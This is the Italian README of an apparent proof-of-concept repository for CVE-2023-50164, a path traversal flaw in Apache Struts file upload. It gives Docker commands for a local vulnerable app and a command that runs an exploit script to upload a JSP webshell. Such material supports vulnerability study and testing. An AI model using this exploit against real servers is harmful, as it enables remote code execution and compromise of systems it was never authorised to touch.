
CVE-2023-50164 PoC Application & Exploit script
Questo repository è una proof of concept (PoC) della vulnerabilità CVE-2023-50164.
CVE-2023-50164 è una vulnerabilità di path traversal dei file che si verifica nell'applicazione web Apache Struts.
Un attaccante potrebbe sfruttare questa vulnerabilità per caricare file malevoli (WebShell o altro malware) in una posizione arbitraria ed effettuare attacchi secondari come l'esecuzione di codice in remoto.
L'applicazione web vulnerabile, StrutsUploadApp, è containerizzata tramite Docker. Segui questi passaggi per creare e distribuire l'ambiente.
Usa il Dockerfile fornito per creare l'immagine Docker per StrutsUploadApp.
docker build -t struts-upload-app .
docker run -d -p 8080:8080 --name StrutsUploadApp struts-upload-app
Esegui lo script di exploit per attivare la vulnerabilità.
python exploit.py --url=http://localhost:8080/StrutsUploadApp/upload.action \
--file=webshell.jsp \
--file-parameter=upload \
--attempts=5